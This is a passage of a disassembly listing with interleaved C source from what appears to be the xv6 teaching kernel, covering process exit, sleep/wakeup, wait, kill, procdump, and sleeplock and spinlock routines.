80103f4f: c7 03 00 00 00 00 movl $0x0,(%ebx)
80103f55: 83 c4 10 add $0x10,%esp
80103f58: 83 c3 04 add $0x4,%ebx
for(fd = 0; fd < NOFILE; fd++){
80103f5b: 39 fb cmp %edi,%ebx
80103f5d: 75 e1 jne 80103f40 <exit+0x30>
begin_op();
80103f5f: e8 4c ef ff ff call 80102eb0 <begin_op>
iput(curproc->cwd);
80103f64: 83 ec 0c sub $0xc,%esp
80103f67: ff 76 68 pushl 0x68(%esi)
80103f6a: e8 51 db ff ff call 80101ac0 <iput>
end_op();
80103f6f: e8 ac ef ff ff call 80102f20 <end_op>
curproc->cwd = 0;
80103f74: c7 46 68 00 00 00 00 movl $0x0,0x68(%esi)
acquire(&ptable.lock);
80103f7b: c7 04 24 e0 2f 11 80 movl $0x80112fe0,(%esp)
80103f82: e8 c9 06 00 00 call 80104650 <acquire>
wakeup1(curproc->parent);
80103f87: 8b 56 14 mov 0x14(%esi),%edx
80103f8a: 83 c4 10 add $0x10,%esp
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103f8d: b8 14 30 11 80 mov $0x80113014,%eax
80103f92: eb 0e jmp 80103fa2 <exit+0x92>
80103f94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103f98: 83 c0 7c add $0x7c,%eax
80103f9b: 3d 14 4f 11 80 cmp $0x80114f14,%eax
80103fa0: 73 1c jae 80103fbe <exit+0xae>
if(p->state == SLEEPING && p->chan == chan)
80103fa2: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103fa6: 75 f0 jne 80103f98 <exit+0x88>
80103fa8: 3b 50 20 cmp 0x20(%eax),%edx
80103fab: 75 eb jne 80103f98 <exit+0x88>
p->state = RUNNABLE;
80103fad: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103fb4: 83 c0 7c add $0x7c,%eax
80103fb7: 3d 14 4f 11 80 cmp $0x80114f14,%eax
80103fbc: 72 e4 jb 80103fa2 <exit+0x92>
p->parent = initproc;
80103fbe: 8b 0d f8 a5 10 80 mov 0x8010a5f8,%ecx
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103fc4: ba 14 30 11 80 mov $0x80113014,%edx
80103fc9: eb 10 jmp 80103fdb <exit+0xcb>
80103fcb: 90 nop
80103fcc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103fd0: 83 c2 7c add $0x7c,%edx
80103fd3: 81 fa 14 4f 11 80 cmp $0x80114f14,%edx
80103fd9: 73 33 jae 8010400e <exit+0xfe>
if(p->parent == curproc){
80103fdb: 39 72 14 cmp %esi,0x14(%edx)
80103fde: 75 f0 jne 80103fd0 <exit+0xc0>
if(p->state == ZOMBIE)
80103fe0: 83 7a 0c 05 cmpl $0x5,0xc(%edx)
p->parent = initproc;
80103fe4: 89 4a 14 mov %ecx,0x14(%edx)
if(p->state == ZOMBIE)
80103fe7: 75 e7 jne 80103fd0 <exit+0xc0>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103fe9: b8 14 30 11 80 mov $0x80113014,%eax
80103fee: eb 0a jmp 80103ffa <exit+0xea>
80103ff0: 83 c0 7c add $0x7c,%eax
80103ff3: 3d 14 4f 11 80 cmp $0x80114f14,%eax
80103ff8: 73 d6 jae 80103fd0 <exit+0xc0>
if(p->state == SLEEPING && p->chan == chan)
80103ffa: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103ffe: 75 f0 jne 80103ff0 <exit+0xe0>
80104000: 3b 48 20 cmp 0x20(%eax),%ecx
80104003: 75 eb jne 80103ff0 <exit+0xe0>
p->state = RUNNABLE;
80104005: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
8010400c: eb e2 jmp 80103ff0 <exit+0xe0>
curproc->state = ZOMBIE;
8010400e: c7 46 0c 05 00 00 00 movl $0x5,0xc(%esi)
sched();
80104015: e8 36 fe ff ff call 80103e50 <sched>
panic("zombie exit");
8010401a: 83 ec 0c sub $0xc,%esp
8010401d: 68 9d 77 10 80 push $0x8010779d
80104022: e8 69 c3 ff ff call 80100390 <panic>
panic("init exiting");
80104027: 83 ec 0c sub $0xc,%esp
8010402a: 68 90 77 10 80 push $0x80107790
8010402f: e8 5c c3 ff ff call 80100390 <panic>
80104034: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010403a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80104040 <yield>:
{
80104040: 55 push %ebp
80104041: 89 e5 mov %esp,%ebp
80104043: 53 push %ebx
80104044: 83 ec 10 sub $0x10,%esp
acquire(&ptable.lock); //DOC: yieldlock
80104047: 68 e0 2f 11 80 push $0x80112fe0
8010404c: e8 ff 05 00 00 call 80104650 <acquire>
pushcli();
80104051: e8 2a 05 00 00 call 80104580 <pushcli>
c = mycpu();
80104056: e8 f5 f9 ff ff call 80103a50 <mycpu>
p = c->proc;
8010405b: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80104061: e8 5a 05 00 00 call 801045c0 <popcli>
myproc()->state = RUNNABLE;
80104066: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx)
sched();
8010406d: e8 de fd ff ff call 80103e50 <sched>
release(&ptable.lock);
80104072: c7 04 24 e0 2f 11 80 movl $0x80112fe0,(%esp)
80104079: e8 92 06 00 00 call 80104710 <release>
}
8010407e: 83 c4 10 add $0x10,%esp
80104081: 8b 5d fc mov -0x4(%ebp),%ebx
80104084: c9 leave
80104085: c3 ret
80104086: 8d 76 00 lea 0x0(%esi),%esi
80104089: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104090 <sleep>:
{
80104090: 55 push %ebp
80104091: 89 e5 mov %esp,%ebp
80104093: 57 push %edi
80104094: 56 push %esi
80104095: 53 push %ebx
80104096: 83 ec 0c sub $0xc,%esp
80104099: 8b 7d 08 mov 0x8(%ebp),%edi
8010409c: 8b 75 0c mov 0xc(%ebp),%esi
pushcli();
8010409f: e8 dc 04 00 00 call 80104580 <pushcli>
c = mycpu();
801040a4: e8 a7 f9 ff ff call 80103a50 <mycpu>
p = c->proc;
801040a9: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
801040af: e8 0c 05 00 00 call 801045c0 <popcli>
if(p == 0)
801040b4: 85 db test %ebx,%ebx
801040b6: 0f 84 87 00 00 00 je 80104143 <sleep+0xb3>
if(lk == 0)
801040bc: 85 f6 test %esi,%esi
801040be: 74 76 je 80104136 <sleep+0xa6>
if(lk != &ptable.lock){ //DOC: sleeplock0
801040c0: 81 fe e0 2f 11 80 cmp $0x80112fe0,%esi
801040c6: 74 50 je 80104118 <sleep+0x88>
acquire(&ptable.lock); //DOC: sleeplock1
801040c8: 83 ec 0c sub $0xc,%esp
801040cb: 68 e0 2f 11 80 push $0x80112fe0
801040d0: e8 7b 05 00 00 call 80104650 <acquire>
release(lk);
801040d5: 89 34 24 mov %esi,(%esp)
801040d8: e8 33 06 00 00 call 80104710 <release>
p->chan = chan;
801040dd: 89 7b 20 mov %edi,0x20(%ebx)
p->state = SLEEPING;
801040e0: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx)
sched();
801040e7: e8 64 fd ff ff call 80103e50 <sched>
p->chan = 0;
801040ec: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx)
release(&ptable.lock);
801040f3: c7 04 24 e0 2f 11 80 movl $0x80112fe0,(%esp)
801040fa: e8 11 06 00 00 call 80104710 <release>
acquire(lk);
801040ff: 89 75 08 mov %esi,0x8(%ebp)
80104102: 83 c4 10 add $0x10,%esp
}
80104105: 8d 65 f4 lea -0xc(%ebp),%esp
80104108: 5b pop %ebx
80104109: 5e pop %esi
8010410a: 5f pop %edi
8010410b: 5d pop %ebp
acquire(lk);
8010410c: e9 3f 05 00 00 jmp 80104650 <acquire>
80104111: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
p->chan = chan;
80104118: 89 7b 20 mov %edi,0x20(%ebx)
p->state = SLEEPING;
8010411b: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx)
sched();
80104122: e8 29 fd ff ff call 80103e50 <sched>
p->chan = 0;
80104127: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx)
}
8010412e: 8d 65 f4 lea -0xc(%ebp),%esp
80104131: 5b pop %ebx
80104132: 5e pop %esi
80104133: 5f pop %edi
80104134: 5d pop %ebp
80104135: c3 ret
panic("sleep without lk");
80104136: 83 ec 0c sub $0xc,%esp
80104139: 68 af 77 10 80 push $0x801077af
8010413e: e8 4d c2 ff ff call 80100390 <panic>
panic("sleep");
80104143: 83 ec 0c sub $0xc,%esp
80104146: 68 a9 77 10 80 push $0x801077a9
8010414b: e8 40 c2 ff ff call 80100390 <panic>
80104150 <wait>:
{
80104150: 55 push %ebp
80104151: 89 e5 mov %esp,%ebp
80104153: 56 push %esi
80104154: 53 push %ebx
pushcli();
80104155: e8 26 04 00 00 call 80104580 <pushcli>
c = mycpu();
8010415a: e8 f1 f8 ff ff call 80103a50 <mycpu>
p = c->proc;
8010415f: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi
popcli();
80104165: e8 56 04 00 00 call 801045c0 <popcli>
acquire(&ptable.lock);
8010416a: 83 ec 0c sub $0xc,%esp
8010416d: 68 e0 2f 11 80 push $0x80112fe0
80104172: e8 d9 04 00 00 call 80104650 <acquire>
80104177: 83 c4 10 add $0x10,%esp
havekids = 0;
8010417a: 31 c0 xor %eax,%eax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
8010417c: bb 14 30 11 80 mov $0x80113014,%ebx
80104181: eb 10 jmp 80104193 <wait+0x43>
80104183: 90 nop
80104184: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104188: 83 c3 7c add $0x7c,%ebx
8010418b: 81 fb 14 4f 11 80 cmp $0x80114f14,%ebx
80104191: 73 1b jae 801041ae <wait+0x5e>
if(p->parent != curproc)
80104193: 39 73 14 cmp %esi,0x14(%ebx)
80104196: 75 f0 jne 80104188 <wait+0x38>
if(p->state == ZOMBIE){
80104198: 83 7b 0c 05 cmpl $0x5,0xc(%ebx)
8010419c: 74 32 je 801041d0 <wait+0x80>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
8010419e: 83 c3 7c add $0x7c,%ebx
havekids = 1;
801041a1: b8 01 00 00 00 mov $0x1,%eax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801041a6: 81 fb 14 4f 11 80 cmp $0x80114f14,%ebx
801041ac: 72 e5 jb 80104193 <wait+0x43>
if(!havekids || curproc->killed){
801041ae: 85 c0 test %eax,%eax
801041b0: 74 74 je 80104226 <wait+0xd6>
801041b2: 8b 46 24 mov 0x24(%esi),%eax
801041b5: 85 c0 test %eax,%eax
801041b7: 75 6d jne 80104226 <wait+0xd6>
sleep(curproc, &ptable.lock); //DOC: wait-sleep
801041b9: 83 ec 08 sub $0x8,%esp
801041bc: 68 e0 2f 11 80 push $0x80112fe0
801041c1: 56 push %esi
801041c2: e8 c9 fe ff ff call 80104090 <sleep>
havekids = 0;
801041c7: 83 c4 10 add $0x10,%esp
801041ca: eb ae jmp 8010417a <wait+0x2a>
801041cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
kfree(p->kstack);
801041d0: 83 ec 0c sub $0xc,%esp
801041d3: ff 73 08 pushl 0x8(%ebx)
pid = p->pid;
801041d6: 8b 73 10 mov 0x10(%ebx),%esi
kfree(p->kstack);
801041d9: e8 42 e4 ff ff call 80102620 <kfree>
freevm(p->pgdir);
801041de: 5a pop %edx
801041df: ff 73 04 pushl 0x4(%ebx)
p->kstack = 0;
801041e2: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
freevm(p->pgdir);
801041e9: e8 b2 2c 00 00 call 80106ea0 <freevm>
release(&ptable.lock);
801041ee: c7 04 24 e0 2f 11 80 movl $0x80112fe0,(%esp)
p->pid = 0;
801041f5: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx)
p->parent = 0;
801041fc: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
p->name[0] = 0;
80104203: c6 43 6c 00 movb $0x0,0x6c(%ebx)
p->killed = 0;
80104207: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx)
p->state = UNUSED;
8010420e: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
release(&ptable.lock);
80104215: e8 f6 04 00 00 call 80104710 <release>
return pid;
8010421a: 83 c4 10 add $0x10,%esp
}
8010421d: 8d 65 f8 lea -0x8(%ebp),%esp
80104220: 89 f0 mov %esi,%eax
80104222: 5b pop %ebx
80104223: 5e pop %esi
80104224: 5d pop %ebp
80104225: c3 ret
release(&ptable.lock);
80104226: 83 ec 0c sub $0xc,%esp
return -1;
80104229: be ff ff ff ff mov $0xffffffff,%esi
release(&ptable.lock);
8010422e: 68 e0 2f 11 80 push $0x80112fe0
80104233: e8 d8 04 00 00 call 80104710 <release>
return -1;
80104238: 83 c4 10 add $0x10,%esp
8010423b: eb e0 jmp 8010421d <wait+0xcd>
8010423d: 8d 76 00 lea 0x0(%esi),%esi
80104240 <wakeup>:
}
// Wake up all processes sleeping on chan.
void
wakeup(void *chan)
{
80104240: 55 push %ebp
80104241: 89 e5 mov %esp,%ebp
80104243: 53 push %ebx
80104244: 83 ec 10 sub $0x10,%esp
80104247: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ptable.lock);
8010424a: 68 e0 2f 11 80 push $0x80112fe0
8010424f: e8 fc 03 00 00 call 80104650 <acquire>
80104254: 83 c4 10 add $0x10,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80104257: b8 14 30 11 80 mov $0x80113014,%eax
8010425c: eb 0c jmp 8010426a <wakeup+0x2a>
8010425e: 66 90 xchg %ax,%ax
80104260: 83 c0 7c add $0x7c,%eax
80104263: 3d 14 4f 11 80 cmp $0x80114f14,%eax
80104268: 73 1c jae 80104286 <wakeup+0x46>
if(p->state == SLEEPING && p->chan == chan)
8010426a: 83 78 0c 02 cmpl $0x2,0xc(%eax)
8010426e: 75 f0 jne 80104260 <wakeup+0x20>
80104270: 3b 58 20 cmp 0x20(%eax),%ebx
80104273: 75 eb jne 80104260 <wakeup+0x20>
p->state = RUNNABLE;
80104275: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
8010427c: 83 c0 7c add $0x7c,%eax
8010427f: 3d 14 4f 11 80 cmp $0x80114f14,%eax
80104284: 72 e4 jb 8010426a <wakeup+0x2a>
wakeup1(chan);
release(&ptable.lock);
80104286: c7 45 08 e0 2f 11 80 movl $0x80112fe0,0x8(%ebp)
}
8010428d: 8b 5d fc mov -0x4(%ebp),%ebx
80104290: c9 leave
release(&ptable.lock);
80104291: e9 7a 04 00 00 jmp 80104710 <release>
80104296: 8d 76 00 lea 0x0(%esi),%esi
80104299: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801042a0 <kill>:
// Kill the process with the given pid.
// Process won't exit until it returns
// to user space (see trap in trap.c).
int
kill(int pid)
{
801042a0: 55 push %ebp
801042a1: 89 e5 mov %esp,%ebp
801042a3: 53 push %ebx
801042a4: 83 ec 10 sub $0x10,%esp
801042a7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *p;
acquire(&ptable.lock);
801042aa: 68 e0 2f 11 80 push $0x80112fe0
801042af: e8 9c 03 00 00 call 80104650 <acquire>
801042b4: 83 c4 10 add $0x10,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801042b7: b8 14 30 11 80 mov $0x80113014,%eax
801042bc: eb 0c jmp 801042ca <kill+0x2a>
801042be: 66 90 xchg %ax,%ax
801042c0: 83 c0 7c add $0x7c,%eax
801042c3: 3d 14 4f 11 80 cmp $0x80114f14,%eax
801042c8: 73 36 jae 80104300 <kill+0x60>
if(p->pid == pid){
801042ca: 39 58 10 cmp %ebx,0x10(%eax)
801042cd: 75 f1 jne 801042c0 <kill+0x20>
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
801042cf: 83 78 0c 02 cmpl $0x2,0xc(%eax)
p->killed = 1;
801042d3: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
if(p->state == SLEEPING)
801042da: 75 07 jne 801042e3 <kill+0x43>
p->state = RUNNABLE;
801042dc: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
release(&ptable.lock);
801042e3: 83 ec 0c sub $0xc,%esp
801042e6: 68 e0 2f 11 80 push $0x80112fe0
801042eb: e8 20 04 00 00 call 80104710 <release>
return 0;
801042f0: 83 c4 10 add $0x10,%esp
801042f3: 31 c0 xor %eax,%eax
}
}
release(&ptable.lock);
return -1;
}
801042f5: 8b 5d fc mov -0x4(%ebp),%ebx
801042f8: c9 leave
801042f9: c3 ret
801042fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
release(&ptable.lock);
80104300: 83 ec 0c sub $0xc,%esp
80104303: 68 e0 2f 11 80 push $0x80112fe0
80104308: e8 03 04 00 00 call 80104710 <release>
return -1;
8010430d: 83 c4 10 add $0x10,%esp
80104310: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104315: 8b 5d fc mov -0x4(%ebp),%ebx
80104318: c9 leave
80104319: c3 ret
8010431a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104320 <procdump>:
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
80104320: 55 push %ebp
80104321: 89 e5 mov %esp,%ebp
80104323: 57 push %edi
80104324: 56 push %esi
80104325: 53 push %ebx
80104326: 8d 75 e8 lea -0x18(%ebp),%esi
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104329: bb 14 30 11 80 mov $0x80113014,%ebx
{
8010432e: 83 ec 3c sub $0x3c,%esp
80104331: eb 24 jmp 80104357 <procdump+0x37>
80104333: 90 nop
80104334: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
cprintf(" %p", pc[i]);
}
cprintf("\n");
80104338: 83 ec 0c sub $0xc,%esp
8010433b: 68 37 7b 10 80 push $0x80107b37
80104340: e8 1b c3 ff ff call 80100660 <cprintf>
80104345: 83 c4 10 add $0x10,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104348: 83 c3 7c add $0x7c,%ebx
8010434b: 81 fb 14 4f 11 80 cmp $0x80114f14,%ebx
80104351: 0f 83 81 00 00 00 jae 801043d8 <procdump+0xb8>
if(p->state == UNUSED)
80104357: 8b 43 0c mov 0xc(%ebx),%eax
8010435a: 85 c0 test %eax,%eax
8010435c: 74 ea je 80104348 <procdump+0x28>
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
8010435e: 83 f8 05 cmp $0x5,%eax
state = "???";
80104361: ba c0 77 10 80 mov $0x801077c0,%edx
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80104366: 77 11 ja 80104379 <procdump+0x59>
80104368: 8b 14 85 20 78 10 80 mov -0x7fef87e0(,%eax,4),%edx
state = "???";
8010436f: b8 c0 77 10 80 mov $0x801077c0,%eax
80104374: 85 d2 test %edx,%edx
80104376: 0f 44 d0 cmove %eax,%edx
cprintf("%d %s %s", p->pid, state, p->name);
80104379: 8d 43 6c lea 0x6c(%ebx),%eax
8010437c: 50 push %eax
8010437d: 52 push %edx
8010437e: ff 73 10 pushl 0x10(%ebx)
80104381: 68 c4 77 10 80 push $0x801077c4
80104386: e8 d5 c2 ff ff call 80100660 <cprintf>
if(p->state == SLEEPING){
8010438b: 83 c4 10 add $0x10,%esp
8010438e: 83 7b 0c 02 cmpl $0x2,0xc(%ebx)
80104392: 75 a4 jne 80104338 <procdump+0x18>
getcallerpcs((uint*)p->context->ebp+2, pc);
80104394: 8d 45 c0 lea -0x40(%ebp),%eax
80104397: 83 ec 08 sub $0x8,%esp
8010439a: 8d 7d c0 lea -0x40(%ebp),%edi
8010439d: 50 push %eax
8010439e: 8b 43 1c mov 0x1c(%ebx),%eax
801043a1: 8b 40 0c mov 0xc(%eax),%eax
801043a4: 83 c0 08 add $0x8,%eax
801043a7: 50 push %eax
801043a8: e8 83 01 00 00 call 80104530 <getcallerpcs>
801043ad: 83 c4 10 add $0x10,%esp
for(i=0; i<10 && pc[i] != 0; i++)
801043b0: 8b 17 mov (%edi),%edx
801043b2: 85 d2 test %edx,%edx
801043b4: 74 82 je 80104338 <procdump+0x18>
cprintf(" %p", pc[i]);
801043b6: 83 ec 08 sub $0x8,%esp
801043b9: 83 c7 04 add $0x4,%edi
801043bc: 52 push %edx
801043bd: 68 01 72 10 80 push $0x80107201
801043c2: e8 99 c2 ff ff call 80100660 <cprintf>
for(i=0; i<10 && pc[i] != 0; i++)
801043c7: 83 c4 10 add $0x10,%esp
801043ca: 39 fe cmp %edi,%esi
801043cc: 75 e2 jne 801043b0 <procdump+0x90>
801043ce: e9 65 ff ff ff jmp 80104338 <procdump+0x18>
801043d3: 90 nop
801043d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
}
801043d8: 8d 65 f4 lea -0xc(%ebp),%esp
801043db: 5b pop %ebx
801043dc: 5e pop %esi
801043dd: 5f pop %edi
801043de: 5d pop %ebp
801043df: c3 ret
801043e0 <initsleeplock>:
#include "spinlock.h"
#include "sleeplock.h"
void
initsleeplock(struct sleeplock *lk, char *name)
{
801043e0: 55 push %ebp
801043e1: 89 e5 mov %esp,%ebp
801043e3: 53 push %ebx
801043e4: 83 ec 0c sub $0xc,%esp
801043e7: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&lk->lk, "sleep lock");
801043ea: 68 38 78 10 80 push $0x80107838
801043ef: 8d 43 04 lea 0x4(%ebx),%eax
801043f2: 50 push %eax
801043f3: e8 18 01 00 00 call 80104510 <initlock>
lk->name = name;
801043f8: 8b 45 0c mov 0xc(%ebp),%eax
lk->locked = 0;
801043fb: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
}
80104401: 83 c4 10 add $0x10,%esp
lk->pid = 0;
80104404: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
lk->name = name;
8010440b: 89 43 38 mov %eax,0x38(%ebx)
}
8010440e: 8b 5d fc mov -0x4(%ebp),%ebx
80104411: c9 leave
80104412: c3 ret
80104413: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104420 <acquiresleep>:
void
acquiresleep(struct sleeplock *lk)
{
80104420: 55 push %ebp
80104421: 89 e5 mov %esp,%ebp
80104423: 56 push %esi
80104424: 53 push %ebx
80104425: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
80104428: 83 ec 0c sub $0xc,%esp
8010442b: 8d 73 04 lea 0x4(%ebx),%esi
8010442e: 56 push %esi
8010442f: e8 1c 02 00 00 call 80104650 <acquire>
while (lk->locked) {
80104434: 8b 13 mov (%ebx),%edx
80104436: 83 c4 10 add $0x10,%esp
80104439: 85 d2 test %edx,%edx
8010443b: 74 16 je 80104453 <acquiresleep+0x33>
8010443d: 8d 76 00 lea 0x0(%esi),%esi
sleep(lk, &lk->lk);
80104440: 83 ec 08 sub $0x8,%esp
80104443: 56 push %esi
80104444: 53 push %ebx
80104445: e8 46 fc ff ff call 80104090 <sleep>
while (lk->locked) {
8010444a: 8b 03 mov (%ebx),%eax
8010444c: 83 c4 10 add $0x10,%esp
8010444f: 85 c0 test %eax,%eax
80104451: 75 ed jne 80104440 <acquiresleep+0x20>
}
lk->locked = 1;
80104453: c7 03 01 00 00 00 movl $0x1,(%ebx)
lk->pid = myproc()->pid;
80104459: e8 92 f6 ff ff call 80103af0 <myproc>
8010445e: 8b 40 10 mov 0x10(%eax),%eax
80104461: 89 43 3c mov %eax,0x3c(%ebx)
release(&lk->lk);
80104464: 89 75 08 mov %esi,0x8(%ebp)
}
80104467: 8d 65 f8 lea -0x8(%ebp),%esp
8010446a: 5b pop %ebx
8010446b: 5e pop %esi
8010446c: 5d pop %ebp
release(&lk->lk);
8010446d: e9 9e 02 00 00 jmp 80104710 <release>
80104472: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104480 <releasesleep>:
void
releasesleep(struct sleeplock *lk)
{
80104480: 55 push %ebp
80104481: 89 e5 mov %esp,%ebp
80104483: 56 push %esi
80104484: 53 push %ebx
80104485: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
80104488: 83 ec 0c sub $0xc,%esp
8010448b: 8d 73 04 lea 0x4(%ebx),%esi
8010448e: 56 push %esi
8010448f: e8 bc 01 00 00 call 80104650 <acquire>
lk->locked = 0;
80104494: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
8010449a: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
wakeup(lk);
801044a1: 89 1c 24 mov %ebx,(%esp)
801044a4: e8 97 fd ff ff call 80104240 <wakeup>
release(&lk->lk);
801044a9: 89 75 08 mov %esi,0x8(%ebp)
801044ac: 83 c4 10 add $0x10,%esp
}
801044af: 8d 65 f8 lea -0x8(%ebp),%esp
801044b2: 5b pop %ebx
801044b3: 5e pop %esi
801044b4: 5d pop %ebp
release(&lk->lk);
801044b5: e9 56 02 00 00 jmp 80104710 <release>
801044ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801044c0 <holdingsleep>:
int
holdingsleep(struct sleeplock *lk)
{
801044c0: 55 push %ebp
801044c1: 89 e5 mov %esp,%ebp
801044c3: 57 push %edi
801044c4: 56 push %esi
801044c5: 53 push %ebx
801044c6: 31 ff xor %edi,%edi
801044c8: 83 ec 18 sub $0x18,%esp
801044cb: 8b 5d 08 mov 0x8(%ebp),%ebx
int r;
acquire(&lk->lk);
801044ce: 8d 73 04 lea 0x4(%ebx),%esi
801044d1: 56 push %esi
801044d2: e8 79 01 00 00 call 80104650 <acquire>
r = lk->locked && (lk->pid == myproc()->pid);
801044d7: 8b 03 mov (%ebx),%eax
801044d9: 83 c4 10 add $0x10,%esp
801044dc: 85 c0 test %eax,%eax
801044de: 74 13 je 801044f3 <holdingsleep+0x33>
801044e0: 8b 5b 3c mov 0x3c(%ebx),%ebx
801044e3: e8 08 f6 ff ff call 80103af0 <myproc>
801044e8: 39 58 10 cmp %ebx,0x10(%eax)
801044eb: 0f 94 c0 sete %al
801044ee: 0f b6 c0 movzbl %al,%eax
801044f1: 89 c7 mov %eax,%edi
release(&lk->lk);
801044f3: 83 ec 0c sub $0xc,%esp
801044f6: 56 push %esi
801044f7: e8 14 02 00 00 call 80104710 <release>
return r;
}
801044fc: 8d 65 f4 lea -0xc(%ebp),%esp
801044ff: 89 f8 mov %edi,%eax
80104501: 5b pop %ebx
80104502: 5e pop %esi
80104503: 5f pop %edi
80104504: 5d pop %ebp
80104505: c3 ret
80104506: 66 90 xchg %ax,%ax
80104508: 66 90 xchg %ax,%ax
8010450a: 66 90 xchg %ax,%ax
8010450c: 66 90 xchg %ax,%ax
8010450e: 66 90 xchg %ax,%ax
80104510 <initlock>:
#include "proc.h"
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
80104510: 55 push %ebp
80104511: 89 e5 mov %esp,%ebp
80104513: 8b 45 08 mov 0x8(%ebp),%eax
lk->name = name;
80104516: 8b 55 0c mov 0xc(%ebp),%edx
lk->locked = 0;
80104519: c7 00 00 00 00 00 movl $0x0,(%eax)
lk->name = name;
8010451f: 89 50 04 mov %edx,0x4(%eax)
lk->cpu = 0;
80104522: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
80104529: 5d pop %ebp
8010452a: c3 ret
8010452b: 90 nop
8010452c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104530 <getcallerpcs>:
}
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80104530: 55 push %ebp
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80104531: 31 d2 xor %edx,%edx
{
80104533: 89 e5 mov %esp,%ebp
80104535: 53 push %ebx
ebp = (uint*)v - 2;
80104536: 8b 45 08 mov 0x8(%ebp),%eax
{
80104539: 8b 4d 0c mov 0xc(%ebp),%ecx
ebp = (uint*)v - 2;
8010453c: 83 e8 08 sub $0x8,%eax
8010453f: 90 nop
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
80104540: 8d 98 00 00 00 80 lea -0x80000000(%eax),%ebx
80104546: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx
8010454c: 77 1a ja 80104568 <getcallerpcs+0x38>
break;
pcs[i] = ebp[1]; // saved %eip
8010454e: 8b 58 04 mov 0x4(%eax),%ebx
80104551: 89 1c 91 mov %ebx,(%ecx,%edx,4)
for(i = 0; i < 10; i++){
80104554: 83 c2 01 add $0x1,%edx
ebp = (uint*)ebp[0]; // saved %ebp
80104557: 8b 00 mov (%eax),%eax
for(i = 0; i < 10; i++){
80104559: 83 fa 0a cmp $0xa,%edx
8010455c: 75 e2 jne 80104540 <getcallerpcs+0x10>
}
for(; i < 10; i++)
pcs[i] = 0;
}
8010455e: 5b pop %ebx
8010455f: 5d pop %ebp
80104560: c3 ret
